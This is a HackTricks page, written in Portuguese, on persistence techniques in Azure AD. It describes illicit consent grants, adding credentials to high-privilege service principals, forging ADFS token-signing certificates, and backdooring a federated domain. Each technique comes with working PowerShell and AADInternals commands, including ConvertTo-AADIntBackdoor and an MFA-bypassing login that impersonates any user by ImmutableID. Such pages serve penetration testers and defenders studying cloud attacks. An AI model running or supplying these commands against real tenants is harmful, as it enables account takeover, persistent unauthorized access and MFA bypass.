Az - Persistence

Support HackTricks

Concessão de Consentimento Ilícito

Por padrão, qualquer usuário pode registrar um aplicativo no Azure AD. Assim, você pode registrar um aplicativo (apenas para o inquilino alvo) que precisa de permissões de alto impacto com consentimento de administrador (e aprová-lo se você for o administrador) - como enviar e-mails em nome de um usuário, gerenciamento de funções, etc. Isso nos permitirá executar ataques de phishing que seriam muito frutíferos em caso de sucesso.

Além disso, você também poderia aceitar esse aplicativo com seu usuário como uma forma de manter o acesso sobre ele.

Aplicativos e Principais de Serviço

Com privilégios de Administrador de Aplicativos, GA ou um papel personalizado com permissões microsoft.directory/applications/credentials/update, podemos adicionar credenciais (secreto ou certificado) a um aplicativo existente.

É possível mirar um aplicativo com altas permissões ou adicionar um novo aplicativo com altas permissões.

Um papel interessante para adicionar ao aplicativo seria o papel de administrador de autenticação privilegiada, pois permite reiniciar a senha de Administradores Globais.

Essa técnica também permite contornar a MFA.

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • Para autenticação baseada em certificado

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federação - Certificado de Assinatura de Token

Com privilégios de DA no AD local, é possível criar e importar novos certificados de assinatura de token e certificados de descriptografia de token que têm uma validade muito longa. Isso nos permitirá fazer login como qualquer usuário cujo ImuutableID conhecemos.

Execute o comando abaixo como DA no(s) servidor(es) ADFS para criar novos certificados (senha padrão 'AADInternals'), adicioná-los ao ADFS, desativar a rotação automática e reiniciar o serviço:

New-AADIntADFSSelfSignedCertificates

Então, atualize as informações do certificado com o Azure AD:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federação - Domínio Confiável

Com privilégios de GA em um locatário, é possível adicionar um novo domínio (deve ser verificado), configurar seu tipo de autenticação como Federado e configurar o domínio para confiar em um certificado específico (any.sts no comando abaixo) e emissor:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

Referências

Suporte ao HackTricks

Last updated